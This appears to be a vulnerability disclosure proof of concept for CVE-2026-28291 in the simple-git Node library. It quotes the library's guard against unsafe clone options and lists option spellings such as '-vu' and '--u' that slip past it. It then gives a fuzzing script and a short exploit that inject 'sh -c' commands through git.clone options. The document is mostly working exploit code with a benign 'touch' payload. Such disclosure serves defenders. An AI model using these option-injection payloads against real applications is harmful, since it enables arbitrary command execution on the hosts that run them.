Docker CVE-2026-28291

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

function preventUploadPack(arg: string, method: string) {
   if (/^\s*--(upload|receive)-pack/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'clone' && /^\s*-u\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of clone with option -u is not permitted without enabling allowUnsafePack`
      );
   }

   if (method === 'push' && /^\s*--exec\b/.test(arg)) {
      throw new GitPluginError(
         undefined,
         'unsafe',
         `Use of push with option --exec is not permitted without enabling allowUnsafePack`
      );
   }
}

[
  '--u', '--u',
  '-4u', '-6u',
  '-lu', '-nu',
  '-qu', '-su',
  '-vu'
]

const fs = require('fs');
const simpleGit = require('simple-git');

const TMP_DIR = './pwned/';
const ITER = 256;

function cleanTmpDir() {
    if (fs.existsSync(TMP_DIR)) {
        fs.rmSync(TMP_DIR, { recursive: true, force: true });
    }
    fs.mkdirSync(TMP_DIR, { recursive: true });
}

function getPwnedFiles() {
    const found = [];
    for (let i = 0; i < ITER; i++) {
        const fname1 = `${TMP_DIR}1_${i}`;
        const fname2 = `${TMP_DIR}2_${i}`;
        const fname3 = `${TMP_DIR}3_${i}`;
        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');
        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');
        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));
    }
    return found;
}

async function runTest(runIdx) {
    const git = simpleGit();
    // 1. `${~}-u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \"touch ${TMP_DIR}1_${i}\"`]);
        } catch {}
    }
    // 2. `-${~}u` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \"touch ${TMP_DIR}2_${i}\"`]);
        } catch {}
    }
    // 3. `-u${~}` Pattern
    for (let i = 0; i < ITER; i++) {
        try {
            await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \"touch ${TMP_DIR}3_${i}\"`]);
        } catch {}
    }
}

async function main() {
    cleanTmpDir();
    await runTest();

    const found = getPwnedFiles();

    console.log(found);
}

main();

WSL Docker
node: v22.19.0
git: git version 2.39.5
simple-git: 3.28.0

const { simpleGit } = require('simple-git');

async function main() {
    const git = await simpleGit({ unsafe: { allowUnsafePack: false } });
    await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \"touch /tmp/pwned\"`]);
}

main();